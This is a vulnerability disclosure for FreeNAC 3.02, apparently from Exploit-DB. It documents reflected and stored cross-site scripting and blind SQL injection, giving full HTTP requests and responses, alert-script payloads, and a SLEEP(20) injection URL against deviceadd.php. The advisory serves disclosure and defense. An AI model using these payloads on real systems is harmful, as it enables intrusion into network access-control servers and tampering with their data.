FreeNAC 3.02 – SQL Injection / Cross-Site Scripting
FreeNAC version 3.02 SQL Injection and XSS Vulnerabilties Date: May 19, 2012 Author: Blake Software Link: http://sourceforge.net/project/showfiles.php?group_id=170004 Version: 3.02 Tested on: Ubuntu 8.04 (freenac version 3.02 vmware appliance) FreeNAC FreeNAC provides Virtual LAN assignment, LAN access control (for all kinds of network devices such as Servers, Workstations, Printers, IP-Phones ..), live network end-device discovery.Both 802.1x and Cisco's VMPS port security modes are supported. VLAN, switch port management and documentation of Patch cabling is also included. ========================================================================================================================================== Reflective Cross-Site Scripting: Multiple parameters are vulnerable to reflective cross-site scripting. Affected Parameters: comment mac graphtype type name Example Request: GET /stats.php?graphtype=bar&type=vlan13<script>alert(1)</script> HTTP/1.1 Host: 192.168.1.118 User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip, deflate DNT: 1 Proxy-Connection: keep-alive Referer: http://192.168.1.118/stats.php?graphtype=bar&type=switch Cookie: freenac=92bcf3d911d94e33106c2e79745e8e8e Example Response: HTTP/1.1 200 OK Date: Sat, 19 May 2012 17:42:41 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 5676 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>FreeNAC :: Swisscom ::</title> <link href="https://www.exploit-db.com/exploits/18900/bw.css" rel="stylesheet" type="text/css" /> </head> <a href='https://www.exploit-db.com/exploits/18900/index.html' title='Main Menu'><img src='https://www.exploit-db.com/exploits/18900/images/logo_small.png' border='0' /></a> ..........snip...................... <img src="https://www.exploit-db.com/exploits/18900/statgraph.php?stattype=vlan13<script>alert(1)</script>&order=DESC&graphtype=bar"><br> <br> <p class='UpdateMsg'>Database error</p> <p>Please go <a HREF='javascript:javascript:history.go(-1)'>back to the previous screen</a>, or the <a href='https://www.exploit-db.com/exploits/18900/index.php' >Main Menu</a> and start again, or try again later. </p> ========================================================================================================================================== Stored Cross-Site Scripting: The comment parameter is vulnerable to stored cross-site scripting. Example Request: <changed from a POST to a GET> http://192.168.1.118/deviceadd.php?name=test&mac=0001.0001.0001&status=1&vlan=6&username=2&office=1&comment="><script>alert(2)</script>&action=Update&action_idx=1 Example Response: HTTP/1.1 200 OK Date: Sat, 19 May 2012 17:53:38 GMT Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5 with Suhosin-Patch X-Powered-By: PHP/5.2.4-2ubuntu5 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 6945 Content-Type: text/html <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> <title>FreeNAC :: Swisscom ::</title> <link href="https://www.exploit-db.com/exploits/18900/bw.css" rel="stylesheet" type="text/css" /> </head> <a href='https://www.exploit-db.com/exploits/18900/index.html' title='Main Menu'><img src='https://www.exploit-db.com/exploits/18900/images/logo_small.png' border='0' /></a> .............snip................. </td></tr> <tr><td>Switch:</td> <td>, port= , location= </td> <td><input type="submit" name="action" class="bluebox" value="Restart Port" /> </td> </tr> <tr><td>Comment:</td><td> <input name="comment" type="text" size=40 value=""><script>alert(2)</script>"/> </td><td>Last IP:NONE<br></td> <tr><td> </td><td></td></tr> <tr><td> </td><td> <input type="submit" name="action" class="bluebox" value="Update" /> <input type="submit" name="action" class="bluebox" value="Delete" onClick="javascript:return confirm('Really DELETE this end-device record?')" /> </td></tr>'<tr><td> </td><td></td></tr> <tr><td> </td><td></td></tr> </table> <table id='t3-2' width='760' border='0' class='text13'><tr><td> </td><td></td></tr> <tr><td colspan=3 bgcolor="#DEDEDE"><b>Administrative information</b><tr><td>Inventory:<td> <tr><td>Classification: ............snip.................... ========================================================================================================================================== SQL Injection: The status parameter is vulnerable to blind SQL Injection. Injecting a time-delay of 20 seconds: http://192.168.1.118/deviceadd.php?name=test&mac=0001.0001.0001&status=1+AND+SLEEP(20)&vlan=6&username=2&office=1&comment=&action=Update&action_idx=1 |